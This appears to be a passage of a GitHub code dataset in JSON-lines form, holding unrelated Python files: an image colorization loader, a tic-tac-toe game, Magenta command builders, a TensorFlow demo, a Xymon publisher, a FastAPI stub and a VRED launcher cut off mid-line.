{"seq_id":"4054282717","text":"import torch\nfrom torch.utils.data import Dataset\nfrom torchvision.datasets import Places365\nfrom kornia.color.lab import linear_rgb_to_rgb, rgb_to_linear_rgb, rgb_to_xyz, xyz_to_rgb\n\n#Torch does not have a RGB2LAB conversion, we used the code of kornia: https://kornia.readthedocs.io/en/latest/_modules/kornia/color/lab.html\n\nclass MyPlaces365(Dataset):\n    def __init__(self, root, split='train-standard', transform=None,download=False):\n        self.dataset = Places365(root=root, split=split, download=download)\n        self.transform = transform\n\n    def __len__(self):\n        return len(self.dataset)\n\n    def __getitem__(self, idx):\n        img, _ = self.dataset[idx]\n\n        if self.transform is not None:\n            img = self.transform(img)\n\n        # Convert from sRGB to Linear RGB\n        lin_rgb = rgb_to_linear_rgb(img)\n\n        xyz_im: torch.Tensor = rgb_to_xyz(lin_rgb)\n\n        # normalize for D65 white point\n        xyz_ref_white = torch.tensor([0.95047, 1.0, 1.08883], device=xyz_im.device, dtype=xyz_im.dtype)[..., :, None, None]\n        xyz_normalized = torch.div(xyz_im, xyz_ref_white)\n\n        threshold = 0.008856\n        power = torch.pow(xyz_normalized.clamp(min=threshold), 1 / 3.0)\n        scale = 7.787 * xyz_normalized + 4.0 / 29.0\n        xyz_int = torch.where(xyz_normalized > threshold, power, scale)\n\n        x: torch.Tensor = xyz_int[..., 0, :, :]\n        y: torch.Tensor = xyz_int[..., 1, :, :]\n        z: torch.Tensor = xyz_int[..., 2, :, :]\n\n        L: torch.Tensor = (116.0 * y) - 16.0\n        a: torch.Tensor = 500.0 * (x - y)\n        _b: torch.Tensor = 200.0 * (y - z)\n\n        out: torch.Tensor = torch.stack([a, _b], dim=-3)\n\n        # Return the L and the AB as target\n        return L.unsqueeze(0), out\n","repo_name":"tamarci/DeepLearningHW23","sub_path":"colorization/colorizers/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11871871920","text":"from io_utils import process_file, copy_file, zip_files, makedirs, expand_glob\nfrom print_utils import print_info, print_error\nfrom styles import lesson_style_debug, note_style\nfrom html_builders import markdown_to_html\nimport os.path\nimport codecs\nimport yaml\n\nclass Project:\n    def __init__(self, filename, number, title, materials, note, embeds):\n        self.filename   = filename\n        self.number     = number\n        self.title      = title\n        self.materials  = materials\n        self.note       = note\n        self.embeds     = embeds\n\n    @staticmethod\n    def build_from_resource(resource, term, term_dir, language, theme):\n        try: \n            print_info(\"Project building..\\t\" + str(resource.filename))\n        except:\n            print_error(\"Project failed due to filename encoding: \" + str(resource.filename))\n            return None\n\n        project     = Project.parse_project_meta(resource)\n        project_dir = os.path.join(term_dir,\"%.02d\"%(project.number))\n        makedirs(project_dir)\n\n        try:\n            built_project = Project.build_project(term, project, language, theme, project_dir)\n        except:\n            print_error(\"Project failed while building: \" + str(resource.filename))\n            return None\n\n        print_info(\"Project done!\\t\\t\" + str(resource.filename))\n        return built_project\n\n    @staticmethod\n    def build_project(term, project, language, theme, output_dir):\n        embeds = []\n        for file in project.embeds:\n            embeds.append(copy_file(file, output_dir))\n\n        input_file = project.filename\n        name, ext = os.path.basename(input_file).rsplit(\".\",1)\n        output_files = process_file(input_file, \n            lesson_style_debug, \n            language, \n            theme, \n            output_dir)\n\n        notes = []\n\n        if project.note:\n            notes.extend(process_file(project.note, note_style, language, theme, output_dir))\n    \n        materials = None\n        if project.materials:\n            zipfilename = \"%s_%d-%02.d_%s_%s.zip\" % (term.id, term.number, project.number, project.title, language.translate(\"resources\"))\n            materials = zip_files(os.path.dirname(input_file), project.materials, output_dir, zipfilename)\n\n        return Project(\n            filename = output_files,\n            number = project.number,\n            title = project.title,\n            materials = materials,\n            note = notes,\n            embeds = embeds,\n        )\n\n    def parse_project_meta(p):\n        if not p.filename.endswith('md'):\n            return p\n\n        with codecs.open(p.filename,\"r\", \"utf-8\") as fh:\n            in_header = False\n            header_lines = []\n            for line in fh.readlines():\n                l = line.strip()\n                if l == \"---\":\n                    in_header = True\n                elif l == \"...\":\n                    in_header = False\n                elif in_header:\n                    header_lines.append(line)\n        header = yaml.safe_load(\"\".join(header_lines))\n\n        if header:\n            title   = header.get('title', p.title)\n            number  = header.get('number', p.number)\n            title   = header.get('title', p.title)\n\n            raw_note = header.get('note', None)\n            if raw_note:\n                base_dir = os.path.dirname(p.filename)\n                note = expand_glob(base_dir, raw_note, one_file=True)\n            else:\n                note = p.note\n\n            raw_materials = header.get('materials', ())\n            if raw_materials:\n                base_dir = os.path.dirname(p.filename)\n                materials = expand_glob(base_dir, raw_materials)\n                materials.extend(p.materials)\n            else:\n                materials = p.materials\n\n            raw_embeds = header.get('embeds', ())\n            if raw_embeds:\n                base_dir = os.path.dirname(p.filename)\n                embeds = expand_glob(base_dir, raw_embeds)\n                embeds.extend(p.embeds)\n            else:\n                embeds = p.embeds\n\n            return Project(\n                filename = p.filename,\n                number = number,\n                title = title,\n                materials = materials,\n                note = note,\n                embeds = embeds,\n            )\n        else:\n            return p\n","repo_name":"kwrl/kwrl_build","sub_path":"projects.py","file_name":"projects.py","file_ext":"py","file_size_in_byte":4335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31175946790","text":"import random\nl=['1','2','3','4','5','6','7','8','9']\ndef printfun():\n\tprint(str(l[0]) + \" | \" + str(l[1]) + \" | \" + str(l[2]))\n\tprint(\"---------\")\n\tprint(str(l[3]) + \" | \" + str(l[4]) + \" | \" + str(l[5]))\n\tprint(\"---------\")\n\tprint(str(l[6]) + \" | \" + str(l[7]) + \" | \" + str(l[8]))\ndef validator():\n\treturn (l[0]==l[1]==l[2]=='X')or(l[0]==l[3]==l[6]=='X')or(l[0]==l[4]==l[8]=='X')or(l[1]==l[4]==l[7]=='X')or(l[2]==l[5]==l[8]=='X')or(l[2]==l[4]==l[6]=='X')or(l[3]==l[4]==l[5]=='X')or(l[6]==l[7]==l[8]=='X')\ndef validator1():\n\treturn (l[0]==l[1]==l[2]=='O')or(l[0]==l[3]==l[6]=='O')or(l[0]==l[4]==l[8]=='O')or(l[1]==l[4]==l[7]=='O')or(l[2]==l[5]==l[8]=='O')or(l[2]==l[4]==l[6]=='O')or(l[3]==l[4]==l[5]=='O')or(l[6]==l[7]==l[8]=='O')\ndef main():\n\tc=0\n\tprintfun()\n\tli=[]\n\twhile True:\n\t\tinp=input(\"Enter number within range 1-9 :\")\n\t\tif inp not in l :\n\t\t\tprint(\"Please enter another input\")\n\t\t\tcontinue\n\t\tif inp in li:\n\t\t\tprint(\"Already used position\")\n\t\t\tcontinue\n\t\telse:\n\t\t\tli.append(inp)\n\t\t\tind=l.index(inp)\n\t\t\tl[ind]='X'\n\t\t\tc=c+1\n\t\t\tnum=random.randint(1,9)\n\t\t\twhile True:\n\t\t\t\tif (num!=inp)and(str(num) not in li):\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tnum=random.randint(1,9)\n\t\t\tl[l.index(str(num))]='O'\n\t\t\tc=c+1\n\t\t\tli.append(str(num))\n\t\tif c==6:\n\t\t\tbreak\n\t\tprintfun()\n\tif(validator()):\n\t\tprint(\"Congrats\")\n\t\tprintfun()\n\telse:\n\t\tif(validator1()):\n\t\t\tprint(\"Computer won!!!!!\")\n\t\telse:\n\t\t\tprint(\"Tie\")\n\t\tprintfun()\n\t\tprint(\"Do u want to continue dude?? Y|N\")\n\t\tyes=input()\n\t\tif yes=='Y':\n\t\t\tmain()\n\n\nmain()\n","repo_name":"happieee/amznec2","sub_path":"TicTacToe/tictac.py","file_name":"tictac.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26408820221","text":"#\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n#MelodyGenerator Class\n#Gets parameters from the melody_page in view, builds and returns a subprocess call\n#////////////////////////////////////////////////////////////////////////////////////////////////\nclass MelodyGenerator:\n\n    steps = \"\"\n    note = \"\"\n    modelType = \"\"\n    user = \"\"\n    outDir = \"\"\n    usersDir = \"/home/david/PycharmProjects/Noodles-Interplay/interplay/media/generated/users/\"\n\n    def __init__(self, modelType, numSteps, note, user):\n\n        self.steps = \"--num_steps=\" + numSteps + \" \"\n        self.note = \"--primer_melody=\\\"[\" + note + \"]\\\" \"\n        self.modelType = modelType\n        #self.user = user + \" \"\n        self.outDir = \"--output_dir=\" + self.usersDir + user + \" \"\n\n\n    configDict = {\n        \"mono\": \"--config='mono' \",\n        \"basic\": \"--config='basic' \",\n        \"lookback\": \"--config='lookback' \",\n        \"attention\": \"--config='attention' \",\n        \"2vae\": \"--config='cat-mel_2bar_big' \",\n        \"16vae\": \"--config='hierdec-mel_16bar' \"\n    }\n\n    #Absolute path to mag bundles\n    #be sure to set them properly on the server\n    modelDict = {\n        \"mono\": \"--bundle_file=/home/david/PycharmProjects/Noodles-Interplay/models/mags/mono.mag \",\n        \"basic\": \"--bundle_file=/home/david/PycharmProjects/Noodles-Interplay/models/mags/basic_rnn.mag \",\n        \"lookback\": \"--bundle_file=/home/david/PycharmProjects/Noodles-Interplay/models/mags/lookback_rnn.mag \",\n        \"attention\": \"--bundle_file=/home/david/PycharmProjects/Noodles-Interplay/models/mags/attention_rnn.mag \",\n        \"2vae\": \"--checkpoint_file=/home/david/PycharmProjects/Noodles-Interplay/models/checkpoints/cat-mel_2bar_big.tar \",\n        \"16vae\": \"--checkpoint_file=/home/david/PycharmProjects/Noodles-Interplay/models/checkpoints/hierdec-mel_16bar.tar \"\n    }\n\n\n    outputs = \"--num_outputs=1 \"\n\n    def buildCall(self):\n\n        if self.modelType != \"2vae\" and self.modelType != \"16vae\":\n\n            generateCall = \"melody_rnn_generate \"\n            generateCall += self.configDict[self.modelType]\n            generateCall += self.modelDict[self.modelType]\n            generateCall += self.outDir\n            generateCall += self.outputs\n            generateCall += self.steps\n            generateCall += self.note\n        else:\n            generateCall = \"music_vae_generate \"\n            generateCall += self.configDict[self.modelType]\n            generateCall += self.modelDict[self.modelType]\n            generateCall += \"--mode=sample \"\n            generateCall += self.outputs\n            generateCall += self.outDir\n\n        print(generateCall)\n        return generateCall\n\n#\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n#ChordGenerator Class\n#Gets parameters from the chord_page in view, builds and returns a subprocess call\n#////////////////////////////////////////////////////////////////////////////////////////////////\nclass ChordGenerator:\n    user = \"\"\n    outDir = \"\"\n    usersOutDir = \"media/generated/users/\"\n    pitches = \"\"\n    steps = \"\"\n\n    def __init__(self, user, numSteps, note1, note2, note3):\n        self.pitches = \"--primer_pitches=\\\"[ \"+ note1 + \",\" + note2 + \",\" + note3 + \"]\\\" \"\n        self.user = user\n        self.steps = \"--num_steps=\" + numSteps + \" \"\n        self.outDir = \"--output_dir=\" + self.usersOutDir + user + \" \"\n\n    bundle_file = \"--bundle_file=/home/david/PycharmProjects/Noodles-Interplay/models/mags/poly_rnn.mag \"\n    output_num = \"--num_outputs=1 \"\n    condtionStr = \"--condition_on_primer=true --inject_primer_during_generation=false \"\n\n    def buildCall(self):\n        generatedCall = \"polyphony_rnn_generate \"\n        generatedCall += self.bundle_file\n        generatedCall += self.outDir\n        generatedCall += self.output_num\n        generatedCall += self.steps\n        generatedCall += self.pitches\n        generatedCall += self.condtionStr\n\n        return generatedCall\n\n\n#\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n#DrumGenerator Class\n#Gets parameters from the drum_page in view, builds and returns a subprocess call\n#///////////////////////////////////////////////////////////////////////////////////////////////\nclass DrumGenerator:\n\n    user = \"\"\n    drumType = \"\"\n    outDir = \"\"\n    usersOutDir = \"media/generated/users/\"\n\n    def __init__(self, user, drumType):\n        self.user = user\n        self.drumType = drumType\n        self.outDir = \"--output_dir=\" + self.usersOutDir + user + \" \"\n\n    functionDict = {\n        \"basic\" : \"drums_rnn_generate \",\n        \"groove\" : \"music_vae_generate \"\n    }\n\n    modelDict = {\n        \"basic\" : \"--config=drum_kit --bundle_file=/home/david/PycharmProjects/Noodles-Interplay/models/mags/drum_kit.mag \",\n        \"groove\" : \"--config=groovae_4bar --checkpoint_file=/home/david/PycharmProjects/Noodles-Interplay/models/checkpoints/groovae_4bar.tar --mode=sample \"\n    }\n\n    outputs = \"--num_outputs=1 \"\n\n    def buildCall(self):\n        generateCall = self.functionDict[self.drumType]\n        generateCall += self.modelDict[self.drumType]\n        generateCall += self.outputs\n        generateCall += self.outDir\n\n        print(generateCall)\n        return generateCall\n\n\n#\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n#Interpolater class\n#Gets parameters from iterpolate_page function in views.py, builds and returns a subprocess call\n#////////////////////////////////////////////////////////////////////////////////////////////////\nclass Interpolater:\n\n    user = \"\"\n    modelType = \"\"\n    outDir = \"\"\n    usersOutDir = \"media/generated/users/\"\n    usersUploadDir = \"media/uploaded/users/\"\n    file1 = \"\"\n    file2 = \"\"\n\n    def __init__(self, user, modelType, file1, file2):\n\n        self.user = user\n        self.modelType = modelType\n        self.outDir = \"--output_dir=\" + self.usersOutDir + user + \" \"\n        self.file1 = \"--input_midi_1=\" + self.usersUploadDir + file1 + \" \"\n        self.file2 = \"--input_midi_2=\" + self.usersUploadDir + file2 + \" \"\n        self.outDir = \"--output_dir=\" + self.usersOutDir + user + \" \"\n\n\n    functionName = \"music_vae_generate \"\n\n    modelDict = {\n        \"mel_2bar\" : \"--checkpoint_file=/home/david/PycharmProjects/Noodles-Interplay/models/checkpoints/cat-mel_2bar_big.tar \",\n        \"mel_16bar\" : \"--checkpoint_file=/home/david/PycharmProjects/Noodles-Interplay/models/checkpoints/hierdec-mel_16bar.tar \",\n        \"trio_16bar\" : \"--checkpoint_file=/home/david/PycharmProjects/Noodles-Interplay/models/checkpoints/hierdec-trio_16bar.tar \"\n    }\n\n    configDict = {\n        \"mel_2bar\": \"--config='cat-mel_2bar_big' \",\n        \"mel_16bar\": \"--config='hierdec-mel_16bar' \",\n        \"trio_16bar\": \"--config='hierdec-trio_16bar' \"\n    }\n\n    outputs = \"--num_outputs=1 \"\n\n    def buildCall(self):\n        generateCall = self.functionName\n        generateCall += self.configDict[self.modelType]\n        generateCall += self.modelDict[self.modelType]\n        generateCall += self.outDir\n        generateCall += self.file1\n        generateCall += self.file2\n        generateCall += self.outputs\n\n\n        print(generateCall)\n        return generateCall","repo_name":"jackm357/Noodles-Interplay","sub_path":"interplay/midi/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":7278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"9237304746","text":"from collections import defaultdict\nimport heapq\nn,m=list(map(int,input().split()))\nroads=defaultdict(list)\nrailways=defaultdict(list)\nfor _ in range(m):\n    u,v=list(map(int,input().split()))\n    railways[u].append(v)\n    railways[v].append(u)\nfor i in range(1,n+1):\n    roads[i]=[j for j in range(1,n+1) if j not in railways[i] and j!=i]\ndef shortest(grpah,n):\n    distances=[float(\"inf\")]*(n+1)\n    heap=[(0,1)]\n    distances[1]=0\n    while heap:\n        dist,node=heapq.heappop(heap)\n        for new_node in grpah[node]:\n            if dist+1 < distances[new_node]:\n                distances[new_node]=dist+1\n                heapq.heappush(heap,(dist+1,new_node))\n\n    return distances[n]  \nans=max(shortest(roads,n),shortest(railways,n))\nif ans==float('inf'):\n    print(-1)\nelse:\n    print(ans)  \n","repo_name":"Zablon5/A2SV","sub_path":"A2SV-camp-II/codeforces_the_two_routes.py","file_name":"codeforces_the_two_routes.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6387666613","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nINPUT_SIZE = 8\nOUTPUT_SIZE = 5\nIn_data = np.eye(5000, INPUT_SIZE)\nOut_data = np.eye(5000, OUTPUT_SIZE)\n##构建输入数据beg\ndef readData(infile, outfile):\n\twith open(infile, 'r') as f:\n\t\tindex = 0\n\t\tfor line in f.readlines():\n\t\t\tinStr = line.strip()\n\t\t\tinSet = list(map(np.float32, inStr.split(' ')))\n\t\t\tIn_data[index] = inSet\n\t\t\tindex += 1\n\n\twith open(outfile, 'r') as f:\n\t\tindex = 0\n\t\tfor line in f.readlines():\n\t\t\toutStr = line.strip()\n\t\t\toutSet = list(map(np.float32, outStr.split(' ')))\n\t\t\tOut_data[index] = outSet\n\t\t\tindex += 1\nreadData('./data/input.txt', './data/output.txt')\n##构建数据end\n\n\n# Make up some real data\n# x_data = np.linspace(-1, 1, 300)[:, np.newaxis]\n# noise = np.random.normal(0, 0.05, x_data.shape)\n# y_data = np.square(x_data) - 0.5 + noise\nx_data = np.linspace(-1, 1, 300)[:, np.newaxis]\nnoise = np.random.normal(0, 0.05, x_data.shape)\ny_data = np.square(x_data) - 0.5 + noise\n\nIn_size = 1\nOut_size = 1\nNeural_size = 10\n\nclass DNN(object):\n\tdef __init__(self, input_size, output_size, neural_size):\n\t\tself.input_size = input_size\n\t\tself.output_size = output_size\n\t\tself.neurals = neural_size\n\n\t\twith tf.name_scope('inputs'):\n\t\t\tself.xs = tf.placeholder(tf.float32, [None, input_size], name='xs')\n\t\t\tself.ys = tf.placeholder(tf.float32, [None, output_size], name='ys')\n\t\twith tf.variable_scope('in_hidden'):\n\t\t\tself.l1 = self.add_input_layer(self.xs, self.input_size, self.neurals, activation_function=tf.nn.relu)\n\t\twith tf.variable_scope('out_hidden'):\n\t\t\tself.prediction = self.add_output_layer(self.l1, self.neurals, self.output_size, activation_function=None)\n\t\twith tf.name_scope('cost'):\n\t\t\tself.cost = self.compute_cost()\n\t\twith tf.name_scope('train'):\n\t\t\tself.train_step = tf.train.GradientDescentOptimizer(0.1).minimize(self.cost)\n\n\tdef add_input_layer(self, inputs, in_size, out_size, activation_function=None):\n\t\t\n\t\tWeights = tf.Variable(tf.random_normal([in_size, out_size]))\n\t\tbiases = tf.Variable(tf.zeros([1, out_size]) + 0.1)\n\n\t\tWx_plus_b = tf.matmul(inputs, Weights) + biases\n\t\tif activation_function is None:\n\t\t\toutputs = Wx_plus_b\n\t\telse:\n\t\t\toutputs = activation_function(Wx_plus_b)\n\t\treturn outputs\n\tdef add_output_layer(self, inputs, in_size, out_size, activation_function=None):\n\t    Weights = tf.Variable(tf.random_normal([in_size, out_size]))\n\t    biases = tf.Variable(tf.zeros([1, out_size]) + 0.1)\n\t    Wx_plus_b = tf.matmul(inputs, Weights) + biases\n\t    if activation_function is None:\n\t        outputs = Wx_plus_b\n\t    else:\n\t        outputs = activation_function(Wx_plus_b)\n\t    return outputs\n\tdef compute_cost(self):\n\t\treturn tf.reduce_mean(tf.reduce_sum(tf.square(self.ys-self.prediction), reduction_indices=[1]))\n\n\n\n\nif __name__ == '__main__':\n\twith tf.Session() as sess:\n\t\tmodel = DNN(In_size, Out_size, Neural_size)\n\t\tinit = tf.initialize_all_variables()\n\t\tsess.run(init)\n\t\tfig = plt.figure()\n\t\tax = fig.add_subplot(1,1,1)\n\t\tax.scatter(x_data, y_data)\n\t\tplt.ion()\n\t\tplt.show()\n\t\tfor i in range(1000):\n\t\t\t# training\n\t\t\tsess.run(model.train_step, feed_dict={model.xs: x_data, model.ys: y_data})\n\t\t\tif i % 50 == 0:\n\t\t\t# to visualize the result and improvement\n\t\t\t\ttry:\n\t\t\t\t\tax.lines.remove(lines[0])\n\t\t\t\texcept Exception:\n\t\t\t\t\tpass\n\t\t\t\tprediction_value = sess.run(model.prediction, feed_dict={model.xs: x_data})\n\t\t\t\tprint(prediction_value)\n\t\t\t\t# plot the prediction\n\t\t\t\tlines = ax.plot(x_data, prediction_value, 'r-', lw=5)\n\t\t\t\tplt.pause(1)","repo_name":"Gepangz/deep-learn","sub_path":"robot/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28359046037","text":"import logging\nlog = logging.getLogger('poolagents')\n\nfrom enforce_typing import enforce_types # type: ignore[import]\nimport random\n\nfrom .BaseAgent import BaseAgent\nfrom .web3engine.uniswappool import TokenAmount, Pair, UniswapPool\nfrom .web3tools.web3util import toBase18\n\n            \n@enforce_types\nclass PoolAgent(BaseAgent):    \n    def __init__(self, name: str, pool: UniswapPool):\n        super().__init__(name, USD=0.0, ETH=0.0)\n        self._pool = pool\n\n    @property\n    def pool(self) -> UniswapPool:\n        return self._pool\n     \n        \n    def takeLiquidity(tokenAmount0: TokenAmount, tokenAmount1: TokenAmount) -> TokenAmount:\n        pair = self._pool.pair\n        \n        liquidity = pair.getLiquidityMinted(pair.liquidityToken, tokenAmount0, tokenAmount1)\n        new_amount0 = pair.token0.token.amount + tokenAmount0.amount\n        new_amount1 = pair.token1.token.amount + tokenAmount1.amount\n        \n        new_pair= Pair(TokenAmount(pair.token0.token, new_amount0), TokenAmount(pair.token1.token, new_amount1))\n        \n        # should we do this?\n        new_pair.txCount = pair.txCount + 1\n        \n        new_pair.liquidityToken = TokenAmount(pair.liquidityToken.token, pair.liquidityToken.amount + liquidity.amount) \n        self._pool.pair = new_pair\n        return liquidity\n        \n    def takeSwap(inputAmount: TokenAmount) -> TokenAmount:\n        pair = self._pool.pair\n        \n        outputAmount, new_pair = pair.getOutputAmount(inputAmount)\n        new_pair.txCount = pair.txCount + 1\n        self._pool.pair = new_pair\n        return outputAmount\n                           \n    def takeStep(self, state):\n        #it's a smart contract robot, it doesn't initiate anything itself\n        pass\n        \n","repo_name":"marc4gov/institutional-defi","sub_path":"model/parts/agents/.ipynb_checkpoints/PoolAgent-checkpoint.py","file_name":"PoolAgent-checkpoint.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21116377026","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport os, conf\n\nclass PublishToXymon(object):\n    def __init__(self, message=None):\n        local_environment = os.environ\n        self.__bb = local_environment['BB']\n        self.__bbdisp = local_environment['XYMONSERVERS']\n        self.__machine = local_environment['CLIENTHOSTNAME']\n        self.__time_to_try_again = '1h'\n        self.__column = conf.xymon_column\n        self.__message = message\n\n    def publish(self, test=False):\n        execute = None\n\n        line_to_execute = '{} {} \\'status+{} {}.{} {}\\' '.format(self.__bb, self.__bbdisp,\n                                                                 self.__time_to_try_again, self.__machine,\n                                                                 self.__column, self.__message)\n        if test:\n            print('{}'.format(line_to_execute))\n        else:                                                     \n            execute = os.system(line_to_execute)\n        \n        return execute\n\n\nif __name__ == '__main__':\n    xymon_output = PublishToXymon(message='here').publish(test=True)\n    xymon_output = PublishToXymon()\n    print(xymon_output)\n\n\n","repo_name":"mprebello/xymon-haproxy-report","sub_path":"PublishToXymon.py","file_name":"PublishToXymon.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"43812388572","text":"from fastapi import FastAPI\nfrom pydantic import BaseModel\n\napp = FastAPI()\n\n\n# token no manejado\n\n\nclass LoginItem(BaseModel):\n    client_id: str\n    client_secret: str\n    grant_type: str\n    authenticated_userid: str\n    scope: str\n\n\n#\n# @app.get(\"/\")\n# async def root():\n#     return {\"message\": \"Hello World api\"}\n\n\n@app.post(\"/api/clients/user/login\")\nasync def get_body(item: LoginItem):\n    # can access subitems like item.client_id\n    return {\"token_type\": \"bearer\",\n            \"access_token\": \"d*KPsueadLxKSqa#niNL¥z]Viy1KtVixrs_0zCoMaFZ5Ca9P\",\n            \"expires_in\": \"15/06/2023 20:17:00\"}\n\n# @app.post(\"/dummypath\")\n# async def get_body(request: Request):\n#     return await request.json()\n","repo_name":"Joaq33/docker_init_python_fastapi","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70157850660","text":"import os\nimport sys\n\nimport sgtk\nfrom sgtk.platform import SoftwareLauncher, SoftwareVersion, LaunchInformation\n\n\nclass VREDLauncher(SoftwareLauncher):\n    \"\"\"\n    Handles launching VRED executables. Automatically starts up\n    a tk-vred engine with the current context in the new session\n    of VRED.\n    \"\"\"\n\n    # Product code names\n    CODE_NAMES = {\n        \"Pro\": dict(icon=\"icon_pro_256.png\"),\n        \"Design\": dict(icon=\"icon_design_256.png\"),\n    }\n\n    # Named regex strings to insert into the executable template paths when\n    # matching against supplied versions and code_names. Similar to the glob\n    # strings, these allow us to alter the regex matching for any of the\n    # variable components of the path in one place\n    COMPONENT_REGEX_LOOKUP = {\n        \"version\": r\"[\\d.]+\",\n        \"code_name\": \"(?:{code_names})\".format(code_names=\"|\".join(CODE_NAMES)),\n        \"code_name_extra\": \"(?:{code_names})\".format(code_names=\"|\".join(CODE_NAMES)),\n    }\n\n    # This dictionary defines a list of executable template strings for each\n    # of the supported operating systems. The templates are used for both\n    # globbing and regex matches by replacing the named format placeholders\n    # with an appropriate glob or regex string. As Side FX adds modifies the\n    # install path on a given OS for a new release, a new template will need\n    # to be added here.\n    EXECUTABLE_TEMPLATES = {\n        \"win32\": [\n            # C:\\Program Files\\Autodesk\\VREDPro-11.0\\bin\\WIN64\\VREDPro.exe\n            r\"C:\\Program Files\\Autodesk\\VRED{code_name}-{version}\\bin\\WIN64\\VRED{code_name_extra}.exe\",\n        ]\n    }\n\n    @property\n    def minimum_supported_version(self):\n        \"\"\"The minimum software version that is supported by the launcher.\"\"\"\n        return \"11.0\"\n\n    def prepare_launch(self, exec_path, args, file_to_open=None):\n        \"\"\"\n        Prepares an environment to launch VRED in that will automatically load\n        Toolkit and the tk-vred engine when VRED starts.\n\n        :param str exec_path: Path to VRED executable to launch.\n        :param str args: Command line arguments as strings.\n        :param str file_to_open: (optional) Full path name of a file to open on launch.\n        :returns: :class:`LaunchInformation` instance\n        \"\"\"\n        required_env = {}\n\n        # Command line arguments\n        args += \" -insecure_python\"\n\n        if os.getenv(\"DISABLE_VRED_OPENGL\", \"0\") == \"1\":\n            args += \" -no_opengl\"\n\n        if os.getenv(\"ENABLE_VRED_CONSOLE\", \"0\") == \"1\":\n            args += \" -console\"\n\n        # Register plugins\n        plugin_dir = os.path.join(self.disk_location, \"plugins\", \"Shotgun\")\n        vred_plugins_dir = os.path.join(os.path.dirname(exec_path), \"Scripts\")\n\n        # be sure to not override the VRED_SCRIPT_PLUGINS environment variable if it's already declared\n        if \"VRED_SCRIPT_PLUGINS\" in os.environ.keys():\n            required_env[\"VRED_SCRIPT_PLUGINS\"] = \"{};{};{}\".format(\n                plugin_dir, vred_plugins_dir, os.environ[\"VRED_SCRIPT_PLUGINS\"]\n            )\n        else:\n            required_env[\"VRED_SCRIPT_PLUGINS\"] = \"{};{}\".format(\n                plugin_dir, vred_plugins_dir\n            )\n\n        # SHOTGUN_ENABLE is an extra environment variable required by VRED\n        required_env[\"SHOTGUN_ENABLE\"] = \"1\"\n\n        # Prepare the launch environment with variables required by the\n        # classic bootstrap approach.\n        self.logger.debug(\"Preparing VRED Launch...\")\n        required_env[\"SGTK_ENGINE\"] = self.engine_name\n        required_env[\"SGTK_CONTEXT\"] = sgtk.context.serialize(self.context)\n\n        # Add the `file to open` to the launch environment\n        if file_to_open:\n            required_env[\"SGTK_FILE_TO_OPEN\"] = file_to_open\n\n        # Add VRED executable path as an environment variable to be used by the translators\n        required_env[\"TK_VRED_EXECPATH\"] = exec_path\n\n        return LaunchInformation(exec_path, args, required_env)\n\n    ##########################################################################################\n    # private methods\n\n    def _icon_from_executable(self, code_name):\n        \"\"\"\n        Find the application icon based on the code_name.\n\n        :param code_name: Product code_name (AutoStudio, Design, ...).\n\n        :returns: Full path to application icon as a string or None.\n        \"\"\"\n        if code_name in self.CODE_NAMES:\n            icon_name = self.CODE_NAMES.get(code_name).get(\"icon\")\n            path = os.path.join(self.disk_location, \"icons\", icon_name)\n        else:\n            path = os.path.join(self.disk_location, \"icon_256.png\")\n\n        return path\n\n    def scan_software(self):\n        \"\"\"\n        Scan the filesystem for vred executables.\n\n        :return: A list of :class:`SoftwareVersion` objects.\n        \"\"\"\n        self.logger.debug(\"Scanning for VRED executables...\")\n\n        supported_sw_versions = []\n        for sw_version in self._find_software():\n            supported, reason = 